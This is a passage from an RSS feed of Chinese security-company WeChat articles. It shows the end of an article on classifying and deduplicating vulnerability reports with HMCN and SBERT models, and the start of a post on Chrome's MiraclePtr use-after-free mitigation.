rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;text-align: center;overflow-wrap: break-word !important;"><span style="text-indent: 0em;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 12px;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">图表3</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">HMCN模型架构图表4所示，上图是HMCN-F非递</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">归版结构图，架构中是有2条信息流，全局信息流和局部信息流。全局信息流是通过每个级别类集的反向传播梯度加强了全局信息流内的局部层次关系，局部的所有输出，经级联起来，再由全局输出进行一致性池化操作，输出最后的结果。这种结构能发现整个类层次结构中的局部层次类关系和全局信息，更适合做层次分类。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5522552255225522" data-s="300,640" style="" data-type="png" data-w="909" src="https://wechat2rss.xlab.app/img-proxy/?k=0bd93063&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplTeLZwnl2uib3pZIcGJ6sU7VDqicajdYmxibnXJ8fvRoiciaUue9KFPLv8xX1Tmt3UC8DY1aahTNicYUlVw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;text-align: center;overflow-wrap: break-word !important;"><span style="text-indent: 0em;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 12px;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">图表4</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">实验结果</span></h2><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;text-align: left;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">漏洞类型分类模型</span></p><table><tbody><tr><td width="268" valign="top" style="word-break: break-all;text-align: center;"><span style="font-size: 12px;">模型<br/></span></td><td width="268" valign="top" style="word-break: break-all;text-align: center;"><span style="text-align: center;font-size: 12px;">准确率ACC</span></td></tr><tr><td width="268" valign="top" style="word-break: break-all;text-align: center;"><span style="text-align: center;font-size: 12px;">HMCN</span></td><td width="268" valign="top" style="word-break: break-all;text-align: center;"><span style="text-align: center;font-size: 12px;">83.8%</span></td></tr></tbody></table><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;text-align: center;overflow-wrap: break-word !important;"><br/><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"></span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;text-align: left;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">相似度模型+主体词 + 漏洞类型分类模型</span></p><table><tbody><tr><td width="171" valign="top" style="word-break: break-all;text-align: center;"><span style="font-size: 12px;">模型<br/></span></td><td width="171" valign="top" style="word-break: break-all;text-align: center;"><span style="font-size: 12px;">Top1找回率<br/></span></td><td width="171" valign="top" style="word-break: break-all;text-align: center;"><span style="font-size: 12px;">Top3召回率<br/></span></td></tr><tr><td width="171" valign="top" style="word-break: break-all;text-align: center;"><span style="font-size: 12px;">SBERT<br/></span></td><td width="171" valign="top" style="word-break: break-all;text-align: center;"><span style="font-size: 12px;">85.3%<br/></span></td><td width="171" valign="top" style="word-break: break-all;text-align: center;"><span style="font-size: 12px;">87.1%<br/></span></td></tr></tbody></table><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><br/></p><h2 cid="n0" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">总结</span></h2><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">未来，AI自动化网络安全攻防必定是基于漏洞资产信息库来完成一系列攻防任务，因此，漏洞及情报数据中心的搭建对于网络攻防的发展愈发重要。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">目前市场上的漏洞平台信息收集主要还是通过网络爬虫收集。漏洞收集来的各个平台信息冗余且重复，一些无法去重的漏洞资产信息无法入库，而对于企业来说这部分漏洞资产信息就会缺失，导致失去行业竞争力。基于SBERT孪生网络的技术方案能为企业创造巨大价值。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"><br/></span></p><section style="margin-bottom: 24px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;display: flex;justify-content: center;align-items: center;width: 677px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;display: flex;justify-content: center;align-items: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;max-width: 100%;width: 6px;height: 6px;transform: translateX(14px);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d6229ea8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FasLg7via5ibAkf1mRkpS4IuZibZE5eeC0t8nibIZBfZEekibOEZVWyf9jHzIVvT2sTzKS1OtZzSBErxJUZXD1AwAAWw%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section data-mid="" mpa-from-tpl="t" style="padding-right: 4px;padding-left: 4px;outline: 0px;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p data-mid="" msthash="2289326" msttexthash="12647050" style="padding-right: 16px;padding-left: 16px;outline: 0px;max-width: 100%;font-size: 14px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(27, 110, 201);line-height: 20px;border-bottom: 1px solid rgb(27, 110, 201);text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;">往期回顾</p></section><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;max-width: 100%;width: 6px;height: 6px;transform: translateX(-14px);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb9bc775&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FicjDF5uGXY5ibE0P0Mtzns3KNb5hsCIKPfMIRultHDbmzgJcDaibI4wNKM6ZloyGRtRovyXtVdv3SuuVOcmA8gn8A%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section><h1 msthash="224770" msttexthash="89201775" style="margin-top: 8px;margin-bottom: 14px;font-size: 22px;white-space: normal;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484895&amp;idx=1&amp;sn=c290a519e5933467b9b980961e1eca55&amp;chksm=c0ddffaef7aa76b8f9e35758dde6783411df74c299361741f98eea6de9b6593861badf464274&amp;scene=21#wechat_redirect" textvalue="MiraclePtr UAF漏洞利用缓解技术介绍" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span msthash="271973" msttexthash="110699719" style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">MiraclePtr UAF漏洞利用缓解技术介绍</span></a></h1><h1 style="margin-top: 8px;margin-bottom: 14px;font-size: 22px;white-space: normal;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484877&amp;idx=1&amp;sn=5f3983c37feca13d90e6b4aab092bf07&amp;chksm=c0ddffbcf7aa76aa315236da9a4577337e3950c3ce512a1dfee67de39de083546b17a56aeb4e&amp;scene=21#wechat_redirect" textvalue="针对U盘文件的盗与防攻略" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" style="outline: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="271973" msttexthash="110699719" style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">针对U盘文件的盗与防攻略</span></a></h1><h1 msthash="224770" msttexthash="17982692" style="margin-top: 8px;margin-bottom: 14px;outline: 0px;font-size: 22px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484855&amp;idx=1&amp;sn=35cbffc6a2cbfa5e5c49838980789d12&amp;chksm=c0ddffc6f7aa76d0b7b06f4c8a0b18b01766f8f50b62c3f489de6a0c27620e7f74f439b7cccf&amp;scene=21#wechat_redirect" textvalue="Ruby安全漫谈" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="outline: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="271973" msttexthash="110699719" style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">Ruby安全漫谈</span></a></h1><p style="margin-bottom: 24px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.43333333333333335" data-s="300,640" style="outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 194px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9bdadcd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7lCiaSMMkhia4WIkRNZHTwq8jJicy27jdbWa7ED26252RGmSPRE0rmHQsgZ6ZoichVyFNlvhLelZS09a194B9dyoAQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="438322" msttexthash="46068516" style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);letter-spacing: 2px;box-sizing: border-box !important;overflow-wrap: break-word !important;">引领智能网络攻防科技</span></section><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthidden="1" style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img __bg_gif" data-copyright="0" data-ratio="0.0734375" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 544px !important;" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=530afaf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCD1iaLIMEhibPv9rc3gdLj3g6fiaAcCZqIicylIMVKlbvd5ic5usJ2oia9cTgavs6BwQpEEYbfglc82kCJ0Qic3OHMEaw%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></span></section><section data-brushtype="text" style="margin: 15px 1em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section class="mp_profile_iframe_wrp" style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><mp-common-profile data-index="0" data-id="MzU5ODE2NDA3NA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/7lCiaSMMkhia7dpwexuaibUE3Eb0z03gPLaYB4PHo7G8BE9eAlRk9NoXRfjDMAxXV0OSYSdZS7KPqic8GNUkqxch7g/0?wx_fmt=png" data-nickname="墨云安全" data-alias="moyunsec" data-signature="墨云科技，更智能的网络攻防！" data-origin_num="29" data-is_biz_ban="0" data-isban="0" class="js_wx_tap_highlight" data-from="2" has-insert-preloading="1"></mp-common-profile></section><section msthash="837304" msttexthash="11380889" style="margin-top: 15px;margin-bottom: 10px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;">点击</span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: start;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;color: rgb(99, 121, 161);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">在看</strong></span></section><section style="margin-top: 5px;margin-bottom: 15px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="837305" msttexthash="16926988" style="outline: 0px;max-width: 100%;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;">分享给小伙伴</span></section><section style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="837306" msttexthash="88348169" style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(178, 178, 178);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;">↓</span>↓点击</span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(99, 121, 161);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">阅读原文</strong></span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(178, 178, 178);box-sizing: border-box !important;overflow-wrap: break-word !important;">，了解更多墨云信息</span></span></section></section>



<p><a href="http://www.vackbot.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f034e730&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzIxMDUyNg%3D%3D%26mid%3D2247484915%26idx%3D1%26sn%3D82f13aaded590b6134c85928adb82888%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 30 Sep 2022 16:00:00 +0800</pubDate>
    </item>
    <item>
      <title>MiraclePtr UAF漏洞利用缓解技术介绍</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484895&amp;idx=1&amp;sn=c290a519e5933467b9b980961e1eca55</link>
      <description>2022年9月13日，Google安全团队在其安全博客中发布了一篇关于MiraclePtr的文章，介绍了Google Chrome安全团队在缓解UAF漏洞利用上技术操作，本文将围绕该介绍进行简单的扩展。</description>
      <content:encoded><![CDATA[<p>
原创 <span>VLab</span> <span>2022-09-23 16:30</span> <span style="display: inline-block;">北京</span>
</p>

<p>2022年9月13日，Google安全团队在其安全博客中发布了一篇关于MiraclePtr的文章，介绍了Google Chrome安全团队在缓解UAF漏洞利用上技术操作，本文将围绕该介绍进行简单的扩展。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=91155b52&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplQGuV7VogLqVWqKfjRpgj3NYe36PuENJHSJL2xbFPSHop3ma7LOibTRAWSA1LB83MAIGibuHITav1yA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="margin-right: 8px;margin-bottom: 24px;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5lWorq5EHkq0S23icUZq77ney00MjKAUXEicQiaeOzjibibNFgJRyS6jL4Yg/0?wx_fmt=png" data-cropx1="0" data-cropx2="500" data-cropy1="0" data-cropy2="386.9047619047619" data-galleryid="" data-ratio="0.772" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 84px !important;" data-type="jpeg" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=ef3468d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5Hyd9IkZVo0JUSV5nPeVNVriaFQKWJ59ODSQiafWYYvZs3fadU0JPjQ0A%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin-right: 8px;margin-bottom: 24px;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);font-family: -webkit-standard;widows: 1;font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">V-lab实验室</span></strong></section><section style="margin-right: 8px;margin-bottom: 0em;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img __bg_gif" data-ratio="0.1875" style="outline: 0px;font-size: 16px;letter-spacing: 0.544px;widows: 1;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 67.691px !important;" data-type="gif" data-w="128" data-width="10%" src="https://wechat2rss.xlab.app/img-proxy/?k=8c660053&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F2TSketEedQ9mmk8nGa8zUv26iapUUPIczjUGSuap1ZqpQO56wnwGGmwkicPphswx7DG3CgAribFoibGw48d3VoQ17g%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></section><section style="margin-right: 8px;margin-bottom: 0em;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, 